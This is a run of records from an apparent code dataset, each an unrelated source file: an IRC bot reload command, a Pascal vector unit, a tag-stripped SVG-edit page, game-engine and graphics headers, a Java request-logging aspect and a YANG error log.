f_reload(phenny, input): \n \"\"\"Reloads a module, for use by admins only.\"\"\" \n if not input.admin: return\n\n name = input.group(2)\n if name == phenny.config.owner: \n return phenny.reply('What?')\n\n if (not name) or (name == '*'): \n phenny.variables = None\n phenny.commands = None\n phenny.setup()\n return phenny.reply('done')\n\n if not sys.modules.has_key(name): \n return phenny.reply('%s: no such module!' % name)\n\n # Thanks to moot for prodding me on this\n path = sys.modules[name].__file__\n if path.endswith('.pyc') or path.endswith('.pyo'): \n path = path[:-1]\n if not os.path.isfile(path): \n return phenny.reply('Found %s, but not the source file' % name)\n\n module = imp.load_source(name, path)\n sys.modules[name] = module\n if hasattr(module, 'setup'): \n module.setup(phenny)\n\n mtime = os.path.getmtime(module.__file__)\n modified = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(mtime))\n\n phenny.register(vars(module))\n phenny.bind_commands()\n\n phenny.reply('%r (version: %s)' % (module, modified))\nf_reload.name = 'reload'\nf_reload.rule = ('$nick', ['reload'], r'(\\S+)?')\nf_reload.priority = 'low'\nf_reload.thread = False\n\nif __name__ == '__main__': \n print __doc__.strip()\n"} -{"text": "(*\n * RVO Library / RVO2 Library\n * \n * Copyright \u00a9 2008-10 University of North Carolina at Chapel Hill. All rights \n * reserved.\n * \n * Permission to use, copy, modify, and distribute this software and its \n * documentation for educational, research, and non-profit purposes, without \n * fee, and without a written agreement is hereby granted, provided that the \n * above copyright notice, this paragraph, and the following four paragraphs \n * appear in all copies.\n * \n * Permission to incorporate this software into commercial products may be \n * obtained by contacting the University of North Carolina at Chapel Hill.\n * \n * This software program and documentation are copyrighted by the University of \n * North Carolina at Chapel Hill. The software program and documentation are \n * supplied \"as is\", without any accompanying services from the University of\n * North Carolina at Chapel Hill or the authors. The University of North\n * Carolina at Chapel Hill and the authors do not warrant that the operation of\n * the program will be uninterrupted or error-free. The end-user understands\n * that the program was developed for research purposes and is advised not to\n * rely exclusively on the program for any reason.\n *\n * IN NO EVENT SHALL THE UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL OR ITS\n * EMPLOYEES OR THE AUTHORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT,\n * SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS,\n * ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF THE\n * UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL OR THE AUTHORS HAVE BEEN ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * THE UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL AND THE AUTHORS SPECIFICALLY\n * DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AND ANY\n * STATUTORY WARRANTY OF NON-INFRINGEMENT. THE SOFTWARE PROVIDED HEREUNDER IS ON\n * AN \"AS IS\" BASIS, AND THE UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL AND THE\n * AUTHORS HAVE NO OBLIGATIONS TO PROVIDE MAINTENANCE, SUPPORT, UPDATES,\n * ENHANCEMENTS, OR MODIFICATIONS.\n *)\nunit RVO2_Vector2;\ninterface\nuses SysUtils;\n\n\ntype\n TRVOVector2 = record\n x,y: Single;\n end;\n\n function Vector2(x, y: Single): TRVOVector2;\n function Vector2Add(A,B: TRVOVector2): TRVOVector2;\n function Vector2Sub(A,B: TRVOVector2): TRVOVector2;\n function Vector2Mul(A,B: TRVOVector2): Single;\n function Vector2Scale(A: TRVOVector2; B: Single): TRVOVector2; overload;\n function Vector2Scale(A: Single; B: TRVOVector2): TRVOVector2; overload;\n function Vector2Neg(A: TRVOVector2): TRVOVector2;\n\n\nimplementation\n\n\nfunction Vector2(x, y: Single): TRVOVector2;\nbegin\n Result.x := x;\n Result.y := y;\nend;\n\nfunction Vector2Add(A,B: TRVOVector2): TRVOVector2;\nbegin\n Result.x := A.x + B.x;\n Result.y := A.y + B.y;\nend;\n\nfunction Vector2Sub(A,B: TRVOVector2): TRVOVector2;\nbegin\n Result.x := A.x - B.x;\n Result.y := A.y - B.y;\nend;\n\n//public static float operator *(Vector2 lhs, Vector2 rhs)\nfunction Vector2Mul(A,B: TRVOVector2): Single;\nbegin\n Result := A.x * B.x + A.y * B.y;\nend;\n\n//public static Vector2 operator *(float k, Vector2 u)\n//public static Vector2 operator *(Vector2 u, float k)\n//public static Vector2 operator /(Vector2 u, float k)\nfunction Vector2Scale(A: TRVOVector2; B: Single): TRVOVector2;\nbegin\n Result.x := A.x * B;\n Result.y := A.y * B;\nend;\n\nfunction Vector2Scale(A: Single; B: TRVOVector2): TRVOVector2;\nbegin\n Result.x := B.x * A;\n Result.y := B.y * A;\nend;\n\n//public static Vector2 operator -(Vector2 v)\nfunction Vector2Neg(A: TRVOVector2): TRVOVector2;\nbegin\n Result.x := -A.x;\n Result.y := -A.y;\nend;\n\nend.\n\n"} -{"text": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nSVG-edit\n\n\n
\n\n
\n\t
\n\t
\n\t\t
\n\t\t\t\n\t\t
\n\t
\n\t
\n\t\t
\n\t\t\t\n\t\t
\n\t
\n
\n\n
\n\n
\n\n
\n
\n\n
\n\t
\n\t\t

Layers

\n\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t
\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t
Layer 1
\n\t\tMove elements to:\n\t\t\n\t
\n\t
L a y e r s
\n
\n\n
\n\t
\n\t\tSVG-Edit\n\t\t
\n\t\t
\n\t
\n\t\t\n\t
\n\t\n\t\t\n\t\t
    \n\t\t\t
  • \n\t\t\t\t
    \n\t\t\t\tNew Image (N)\n\t\t\t
    • \n\t\t\t\n\t\t\t
  • \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\tOpen Mask File (SVG)\n\t\t\t
    • \n\t\t\t\n\t\t\t
  • \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\tImport Image\n\t\t\t
    • \n\t\t\t\n\t\t\t
  • \n\t\t\t\t
    \n\t\t\t\tDocument Properties (D)\n\t\t\t
    • \n\t\t
\n\n\t\t

\n\t\t\t\n\t\t\t\tSVG-edit Home Page\n\t\t\t\n\t\t

\n\n\t\t\n\n\n\t
\n
\n\n\n\n
\n\n\t
\n\t\t
\n\t\t
\n\t\t
\n\t
\n\n \n\t
\n\t\t
\n\t\t
\n\t\t
\n\t
\n\t\n\t\n\t
\n\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t\n\t\t
\n\n\t\t\n\t\t\n\t\t
\n\t\t\t\n\t\t\t
\n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t
    • \n\t\t\t\t
\n\t\t\t
\n\t\t
\n\t\t\n\t\t
\n\t\t\t\t
\n\t\t\t\t\n\t\t
\t\t\n\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t
\n\t\n\t\n\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t\n\t\t
\n\n\t
\n\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t\t\n\t
\n\n\t
\n\t
\n\t\t\n\t\t\n\t
\n\t
\n\t\t\n\t\t\n\t
\n
\n\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t\t
\n\t\t\t\n\t\t
\n\t
\n\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t
\n\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t
\n\n\t
\n\t\t
\n\t\t\t
B
\n\t\t\t
i
\n\t\t
\n\t\t\n\t\t
\n\t\t\t\n\t\t\t
\n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t
  • Serif
    • \n\t\t\t\t\t
  • Sans-serif
    • \n\t\t\t\t\t
  • Cursive
    • \n\t\t\t\t\t
  • Fantasy
    • \n\t\t\t\t\t
  • Monospace
    • \n\t\t\t\t
\n\t\t\t
\n\t\t
\n\n\t\t\n\t\t\n\t\t\n\t\t\n\t
\n\n\t\n\t
\n\t\t
\n\n\t\t\n\n\t\t\n\t
\n\t\n\t
\n\t\t\n\t
\n\t\n\t
\n\t\t
\n\t
\n\n\t\n\t
\n\t\t\t\n\t
\n\t\n\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t
\n
\n\t
\n\t\t\n\t
\n\n\n
\n\t
\n\t
\n\t
\n\t
\n\t\t
\n\t
\n\t
\n\t\t
\n\t
\n\t
\n\t
\n\t
\n\t\n\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t\t
\n\t
\n
\n\n
\n\n \n\t
\n\t\t\n\t\t
\n\t\t\t\n\t\t\t
    \n\t\t\t\t
  • 1000%
    • \n\t\t\t\t
  • 400%
    • \n\t\t\t\t
  • 200%
    • \n\t\t\t\t
  • 100%
    • \n\t\t\t\t
  • 50%
    • \n\t\t\t\t
  • 25%
    • \n\t\t\t\t
  • Fit to canvas
    • \n\t\t\t\t
  • Fit to selection
    • \n\t\t\t\t
  • Fit to layer content
    • \n\t\t\t\t
  • Fit to all content
    • \n\t\t\t\t
  • 100%
    • \n\t\t\t
\n\t\t
\n\t\t
\n\t
\n\n\t
\n\t\t
\n\t\t\t\n\t\t\t
\n\t\t\t\t\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t\n\t\t\t
\n\t\t\t\t\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t
\n\t\t\t\t\n\t\t\t\t\t\n\n \t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\n \t\t\t\t
\n \t\t\t\t\n \t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\n \t\t\t\t
\n\n\t\t\t
\n\n\t\t\t
\n\t\t\t\t\n\t\t\t\t
\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t
  • 0%
    • \n\t\t\t\t\t\t
  • 25%
    • \n\t\t\t\t\t\t
  • 50%
    • \n\t\t\t\t\t\t
  • 75%
    • \n\t\t\t\t\t\t
  • 100%
    • \n\t\t\t\t\t\t
    • \n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t
\n\n\t
\n\n\t
\n\t\t
\n\t
\n\t\n
\n\n
\n\t
    \n\t\t
  • \n\t\t
  • \n\t\t
  • \n\t
\n\t\n\t
    \n\t\t
  • \n\t\t
  • \n\t\t
  • \n\t
\n\t\n\t
    \n\t\t
  • \n\t\t
  • \n\t\t
  • \n\t\t
  • \n\t\t
  • \n\t\t
  • \n\t
\n
\n\n\n\n
\n\n
\n\n
\n\t
\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\t\t
\n\t\t\t

Copy the contents of this box into a text editor, then save the file with a .svg extension.

\n\t\t\t\n\t\t
\n\t\t
\n\t\t\t\n\t\t
\n\t
\n
\n\n\n
\n\t
\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\n\n\t\t
\n\t\t\tImage Properties\n\t\t\t\t\t\t\n\t\n\t\t\t
\n\t\t\t\tCanvas Dimensions\n\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t
\n\n\t\t\t
\n\t\t\t\tIncluded Images\n\t\t\t\t\n\t\t\t\t\n\t\t\t
\t\t\t\n\t\t
\n\n\t
\n
\n\n
\n\t
\n\t
\n\t\t
\n\t\t\t\n\t\t\t\n\t\t
\n\n\t\t
\n\t\t\tEditor Preferences\n\n\t\t\t\n\n\t\t\t\n\n\t\t\t
\n\t\t\t\tEditor Background\n\t\t\t\t
\n\t\t\t\t\n\t\t\t\t

Note: Background will not be saved with image.

\n\t\t\t
\n\t\t\t\n\t\t\t
\n\t\t\t\tGrid\n\t\t\t\t\n\t\t\t\t\n\t\t\t
\n\n\t\t\t
\n\t\t\t\tUnits & Rulers\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\n\t\t\t
\n\t\n\t\t
\n\n\t
\n
\n\n
\n\t
\n\t
\n\t\t
\n\t\t
\n\t
\n
\n\n\n\n\n\n\n\n\n\n"} -{"text": "/* ScummVM - Graphic Adventure Engine\n *\n * ScummVM is the legal property of its developers, whose names\n * are too numerous to list here. Please refer to the COPYRIGHT\n * file distributed with this source distribution.\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n */\n\n#ifndef LASTEXPRESS_MERTENS_H\n#define LASTEXPRESS_MERTENS_H\n\n#include \"lastexpress/entities/entity.h\"\n\nnamespace LastExpress {\n\nclass LastExpressEngine;\n\nclass Mertens : public Entity {\nprivate:\n\t// The type of action when entering Tyler compartment\n\tenum MertensActionType {\n\t\tkMertensActionNone = 0,\n\t\tkMertensAction1 = 1,\n\t\tkMertensAction2 = 2,\n\t\tkMertensAction3 = 3\n\t};\n\npublic:\n\tMertens(LastExpressEngine *engine);\n\t~Mertens() override {}\n\n\t/**\n\t * Resets the entity\n\t */\n\tDECLARE_FUNCTION(reset)\n\n\t/**\n\t * Handle meeting Coudert with the blooded jacket\n\t *\n\t * @param sequence The sequence to draw\n\t */\n\tDECLARE_FUNCTION_1(bloodJacket, const char *sequence)\n\n\t/**\n\t * Handles entering/exiting a compartment.\n\t *\n\t * @param sequence The sequence to draw\n\t * @param compartment The compartment\n\t */\n\tDECLARE_VFUNCTION_2(enterExitCompartment, const char *sequence, ObjectIndex compartment)\n\n\t/**\n\t * Handles entering/exiting a compartment and updates position/play animation\n\t *\n\t * @param sequence The sequence to draw\n\t * @param compartment The compartment\n\t */\n\tDECLARE_FUNCTION_2(enterExitCompartment2, const char *sequence, ObjectIndex compartment)\n\n\t/**\n\t * Handles entering/exiting a compartment.\n\t *\n\t * @param sequence The sequence to draw\n\t * @param compartment The compartment\n\t * @param entityPosition1 The entity position\n\t * @param entityPosition1 The entity position to check\n\t *\n\t * @note We are not using the shared function due to too many differences\n\t */\n\tDECLARE_FUNCTION_4(enterExitCompartment3, const char *sequence, ObjectIndex compartment, EntityPosition entityPosition1, EntityPosition entityPosition2)\n\n\t/**\n\t * Process callback action when the entity direction is not kDirectionRight\n\t */\n\tDECLARE_FUNCTION(callbackActionOnDirection)\n\n\t/**\n\t * Plays sound\n\t *\n\t * @param filename The sound filename\n\t */\n\tDECLARE_VFUNCTION_1(playSound, const char *filename)\n\n\t/**\n\t * Plays sound\n\t *\n\t * @param filename The sound filename\n\t */\n\tDECLARE_FUNCTION_1(playSound16, const char *filename)\n\n\t/**\n\t * Saves the game\n\t *\n\t * @param savegameType The type of the savegame\n\t * @param param The param for the savegame (EventIndex or TimeValue)\n\t */\n\tDECLARE_VFUNCTION_2(savegame, SavegameType savegameType, uint32 param)\n\n\t/**\n\t * Updates the entity\n\t *\n\t * @param car The car\n\t * @param entityPosition The entity position\n\t */\n\tDECLARE_VFUNCTION_2(updateEntity, CarIndex car, EntityPosition entityPosition)\n\n\tDECLARE_FUNCTION_1(function11, uint32 time)\n\n\t/**\n\t* Says \"Bonsoir\" to another character\n\t*\n\t* @param entity The entity\n\t*/\n\tDECLARE_FUNCTION_1(bonsoir, EntityIndex entity)\n\tDECLARE_FUNCTION_2(function13, bool, EntityIndex entity)\n\tDECLARE_FUNCTION_1(function14, EntityIndex entity)\n\tDECLARE_FUNCTION_1(function15, bool)\n\tDECLARE_FUNCTION_1(function16, bool)\n\tDECLARE_FUNCTION(function17)\n\tDECLARE_FUNCTION(function18)\n\tDECLARE_FUNCTION(function19)\n\tDECLARE_FUNCTION(function20)\n\n\t/**\n\t * ???\n\t *\n\t * @param object1 First object index\n\t * @param object2 Second object index\n\t */\n\tDECLARE_FUNCTION_2(function21, ObjectIndex object1, ObjectIndex object2)\n\tDECLARE_FUNCTION(function22)\n\tDECLARE_FUNCTION(function23)\n\tDECLARE_FUNCTION(function24)\n\tDECLARE_FUNCTION(function25)\n\tDECLARE_FUNCTION_1(function26, bool)\n\tDECLARE_FUNCTION_1(tylerCompartment, MertensActionType action)\n\tDECLARE_FUNCTION_1(function28, const char *soundName)\n\tDECLARE_FUNCTION_2(function29, const char *soundName1, const char *soundName2)\n\tDECLARE_FUNCTION_1(function30, MertensActionType action)\n\tDECLARE_FUNCTION_1(function31, MertensActionType action)\n\tDECLARE_FUNCTION(function32)\n\tDECLARE_FUNCTION(function33)\n\n\t/**\n\t * Setup Chapter 1\n\t */\n\tDECLARE_VFUNCTION(chapter1)\n\tDECLARE_FUNCTION(function35)\n\tDECLARE_FUNCTION(function36)\n\tDECLARE_FUNCTION(function37)\n\tDECLARE_FUNCTION(function38)\n\tDECLARE_FUNCTION(function39)\n\tDECLARE_FUNCTION(function40)\n\n\t/**\n\t * Handle Chapter 1 events\n\t */\n\tDECLARE_FUNCTION(chapter1Handler)\n\n\tDECLARE_FUNCTION(function42)\n\n\t/**\n\t * Setup Chapter 2\n\t */\n\tDECLARE_VFUNCTION(chapter2)\n\n\tDECLARE_FUNCTION(function44)\n\n\t/**\n\t * Setup Chapter 3\n\t */\n\tDECLARE_VFUNCTION(chapter3)\n\n\tDECLARE_FUNCTION(function46)\n\n\t/**\n\t * Setup Chapter 4\n\t */\n\tDECLARE_VFUNCTION(chapter4)\n\n\tDECLARE_FUNCTION(function48)\n\tDECLARE_FUNCTION(function49)\n\n\t/**\n\t * Setup Chapter 5\n\t */\n\tDECLARE_VFUNCTION(chapter5)\n\n\t/**\n\t * Handle Chapter 5 events\n\t */\n\tDECLARE_FUNCTION(chapter5Handler)\n\n\tDECLARE_FUNCTION(function52)\n\tDECLARE_FUNCTION(function53)\n\n\tDECLARE_NULL_FUNCTION()\n\nprivate:\n\tvoid loadSceneFromPosition();\n};\n\n} // End of namespace LastExpress\n\n#endif // LASTEXPRESS_MERTENS_H\n"} -{"text": "/* global hexo */\n\n'use strict';\n\nvar assign = require('object-assign');\n\nhexo.config.index_generator = assign({\n per_page: typeof hexo.config.per_page === 'undefined' ? 10 : hexo.config.per_page,\n order_by: '-date'\n}, hexo.config.index_generator);\n\nhexo.extend.generator.register('index', require('./lib/generator'));\n"} -{"text": "mod1.yang:8: error: UNEXPECTED_KEYWORD\nmod1.yang:21: error: UNEXPECTED_KEYWORD\nmod1.yang:25: error: UNEXPECTED_KEYWORD\nmod1.yang:28: error: UNEXPECTED_KEYWORD\nmod1.yang:31: error: UNEXPECTED_KEYWORD\nmod1.yang:34: error: UNEXPECTED_KEYWORD\nmod1.yang:36: error: UNEXPECTED_KEYWORD\nmod2.yang:6: error: UNEXPECTED_KEYWORD\nmod2.yang:7: error: UNEXPECTED_KEYWORD\nmod2.yang:8: error: UNEXPECTED_KEYWORD\nmod3.yang:4: error: UNEXPECTED_KEYWORD_1\nmod3.yang:4: error: UNEXPECTED_KEYWORD_1\nmod4.yang:2: error: BAD_VALUE\nmod4.yang:8: error: UNEXPECTED_KEYWORD\n"} -{"text": "publicMethod();\n }\n}\n"} -{"text": "package com.zm.zhuma.commons.web.aspect;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.google.common.collect.Lists;\nimport com.zm.zhuma.commons.util.IpUtil;\nimport com.zm.zhuma.commons.web.constants.HeaderConstants;\nimport com.zm.zhuma.commons.web.handler.GlobalExceptionHandler;\nimport com.zm.zhuma.user.model.bo.LoginUser;\nimport com.zm.zhuma.user.token.helper.LoginTokenHelper;\nimport lombok.extern.slf4j.Slf4j;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.reflect.MethodSignature;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.lang.reflect.Method;\nimport java.util.List;\n\n/**\n * @desc \u8bf7\u6c42\u53c2\u6570\u3001\u54cd\u5e94\u4f53\u7edf\u4e00\u65e5\u5fd7\u6253\u5370\n * \n * @author zhumaer\n * @since 10/10/2017 9:54 AM\n */\n@Slf4j\n@Aspect\npublic class RestControllerAspect {\n\n\t/**\n\t * \u73af\u7ed5\u901a\u77e5\n\t * @param joinPoint \u8fde\u63a5\u70b9\n\t * @return \u5207\u5165\u70b9\u8fd4\u56de\u503c\n\t * @throws Throwable \u5f02\u5e38\u4fe1\u606f\n\t */\n\t@Around(\"@within(org.springframework.web.bind.annotation.RestController) || @annotation(org.springframework.web.bind.annotation.RestController)\")\n\tpublic Object apiLog(ProceedingJoinPoint joinPoint) throws Throwable {\n\t\tMethodSignature signature = (MethodSignature) joinPoint.getSignature();\n\t\tMethod method = signature.getMethod();\n\n\t\tboolean logFlag = this.needToLog(method);\n\t\tif (!logFlag) {\n\t\t\treturn joinPoint.proceed();\n\t\t}\n\n\t\tHttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();\n\t\tLoginUser loginUser = LoginTokenHelper.getLoginUserFromRequest();\n\n\t\tString ip = IpUtil.getRealIp(request);\n\t\tString methodName = this.getMethodName(joinPoint);\n\t\tString params = this.getParamsJson(joinPoint);\n\t\tString requester = loginUser == null ? \"unknown\" : String.valueOf(loginUser.getId());\n\n\t\tString callSource = request.getHeader(HeaderConstants.CALL_SOURCE);\n\t\tString appVersion = request.getHeader(HeaderConstants.APP_VERSION);\n\t\tString apiVersion = request.getHeader(HeaderConstants.API_VERSION);\n\t\tString userAgent = request.getHeader(\"user-agent\");\n\n\t\tlog.info(\"Started request requester [{}] method [{}] params [{}] IP [{}] callSource [{}] appVersion [{}] apiVersion [{}] userAgent [{}]\", requester, methodName, params, ip, callSource, appVersion, apiVersion, userAgent);\n\t\tlong start = System.currentTimeMillis();\n\t\tObject result = joinPoint.proceed();\n\t\tlog.info(\"Ended request requester [{}] method [{}] params[{}] response is [{}] cost [{}] millis \",\n\t\t\t\trequester, methodName, params, this.deleteSensitiveContent(result), System.currentTimeMillis() - start);\n\t\treturn result;\n\t}\n\n\tprivate String getMethodName(ProceedingJoinPoint joinPoint) {\n\t\tString methodName = joinPoint.getSignature().toShortString();\n\t\tString shortMethodNameSuffix = \"(..)\";\n\t\tif (methodName.endsWith(shortMethodNameSuffix)) {\n\t\t\tmethodName = methodName.substring(0, methodName.length() - shortMethodNameSuffix.length());\n\t\t}\n\t\treturn methodName;\n\t}\n\n\tprivate String getParamsJson(ProceedingJoinPoint joinPoint) {\n\t\tObject[] args = joinPoint.getArgs();\n\t\tStringBuilder sb = new StringBuilder();\n\t\tfor (Object arg : args) {\n\t\t\t//\u79fb\u9664\u654f\u611f\u5185\u5bb9\n\t\t\tString paramStr;\n\t\t\tif (arg instanceof HttpServletResponse) {\n\t\t\t\tparamStr = HttpServletResponse.class.getSimpleName();\n\t\t\t} else if (arg instanceof HttpServletRequest) {\n\t\t\t\tparamStr = HttpServletRequest.class.getSimpleName();\n\t\t\t} else if (arg instanceof MultipartFile) {\n\t\t\t\tlong size = ((MultipartFile) arg).getSize();\n\t\t\t\tparamStr = MultipartFile.class.getSimpleName() + \" size:\" + size;\n\t\t\t} else {\n\t\t\t\tparamStr = this.deleteSensitiveContent(arg);\n\t\t\t}\n\t\t\tsb.append(paramStr).append(\",\");\n\t\t}\n\t\treturn sb.deleteCharAt(sb.length() - 1).toString();\n\t}\n\n\tprivate boolean needToLog(Method method) {\n\t\t//GET\u8bf7\u6c42\u4e0d\u8bb0\u5f55\u65e5\u5fd7\n\t\treturn method.getAnnotation(GetMapping.class) == null\n\t\t\t\t&& !method.getDeclaringClass().equals(GlobalExceptionHandler.class);\n\t}\n\n\t/**\n\t * \u5220\u9664\u53c2\u6570\u4e2d\u7684\u654f\u611f\u5185\u5bb9\n\t * @param obj \u53c2\u6570\u5bf9\u8c61\n\t * @return \u53bb\u9664\u654f\u611f\u5185\u5bb9\u540e\u7684\u53c2\u6570\u5bf9\u8c61\n\t */\n\tprivate String deleteSensitiveContent(Object obj) {\n\t\tJSONObject jsonObject = new JSONObject();\n\t\tif (obj == null || obj instanceof Exception) {\n\t\t\treturn jsonObject.toJSONString();\n\t\t}\n\n\t\ttry {\n\t\t\tString param = JSON.toJSONString(obj);\n\t\t\tjsonObject = JSONObject.parseObject(param);\n\t\t\tList sensitiveFieldList = this.getSensitiveFieldList();\n\t\t\tfor (String sensitiveField : sensitiveFieldList) {\n\t\t\t\tif (jsonObject.containsKey(sensitiveField)) {\n\t\t\t\t\tjsonObject.put(sensitiveField, \"******\");\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (ClassCastException e) {\n\t\t\treturn String.valueOf(obj);\n\t\t}\n\t\treturn jsonObject.toJSONString();\n\t}\n\n\t/**\n\t * \u654f\u611f\u5b57\u6bb5\u5217\u8868\n\t */\n\tprivate List getSensitiveFieldList() {\n\t\tList sensitiveFieldList = Lists.newArrayList();\n\t\tsensitiveFieldList.add(\"pwd\");\n\t\tsensitiveFieldList.add(\"password\");\n\t\treturn sensitiveFieldList;\n\t}\n}\n"} -{"text": "/*\n * Copyright 2019-2020 Diligent Graphics LLC\n * Copyright 2015-2019 Egor Yusov\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * In no event and under no legal theory, whether in tort (including negligence), \n * contract, or otherwise, unless required by applicable law (such as deliberate \n * and grossly negligent acts) or agreed to in writing, shall any Contributor be\n * liable for any damages, including any direct, indirect, special, incidental, \n * or consequential damages of any character arising as a result of this License or \n * out of the use or inability to use the software (including but not limited to damages \n * for loss of goodwill, work stoppage, computer failure or malfunction, or any and \n * all other commercial damages or losses), even if such Contributor has been advised \n * of the possibility of such damages.\n */\n\n#pragma once\n\n/// \\file\n/// Definition of the Diligent::ITextureGL interface\n\n#include \"../../GraphicsEngine/interface/Texture.h\"\n\nDILIGENT_BEGIN_NAMESPACE(Diligent)\n\n// {D7BC9FF0-28F0-4636-9732-710C204D1D63}\nstatic const INTERFACE_ID IID_TextureGL =\n {0xd7bc9ff0, 0x28f0, 0x4636, {0x97, 0x32, 0x71, 0xc, 0x20, 0x4d, 0x1d, 0x63}};\n\n#define DILIGENT_INTERFACE_NAME ITextureGL\n#include \"../../../Primitives/interface/DefineInterfaceHelperMacros.h\"\n\n#define ITextureGLInclusiveMethods \\\n ITextureInclusiveMethods; \\\n ITextureGLMethods TextureGL\n\n/// Exposes OpenGL-specific functionality of a texture object.\nDILIGENT_BEGIN_INTERFACE(ITextureGL, ITexture)\n{\n /// Returns OpenGL texture handle\n VIRTUAL GLuint METHOD(GetGLTextureHandle)(THIS) PURE;\n\n /// Returns bind target of the native OpenGL texture\n VIRTUAL GLenum METHOD(GetBindTarget)(THIS) CONST PURE;\n};\nDILIGENT_END_INTERFACE\n\n#include \"../../../Primitives/interface/UndefInterfaceHelperMacros.h\"\n\n#if DILIGENT_C_INTERFACE\n\n// clang-format off\n\n# define ITextureGL_GetGLTextureHandle(This) CALL_IFACE_METHOD(TextureGL, GetGLTextureHandle, This)\n# define ITextureGL_GetBindTarget(This) CALL_IFACE_METHOD(TextureGL, GetBindTarget, This)\n\n// clang-format on\n\n#endif\n\nDILIGENT_END_NAMESPACE // namespace Diligent\n"} -{"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.\n//\n\n#import \"TLayer.h\"\n\n#import \"CAAnimationDelegate-Protocol.h\"\n\n@class NSObject, NSString;\n@protocol CAAnimationDelegate;\n\n@interface TInlineProgressBaseHostLayer : TLayer \n{\n struct TNSRef _progressLayer;\n unsigned long long _animationCount;\n _Bool _cleanupWhenFinished;\n NSObject *_animationDelegate;\n}\n\n@property(nonatomic) id animationDelegate; // @synthesize 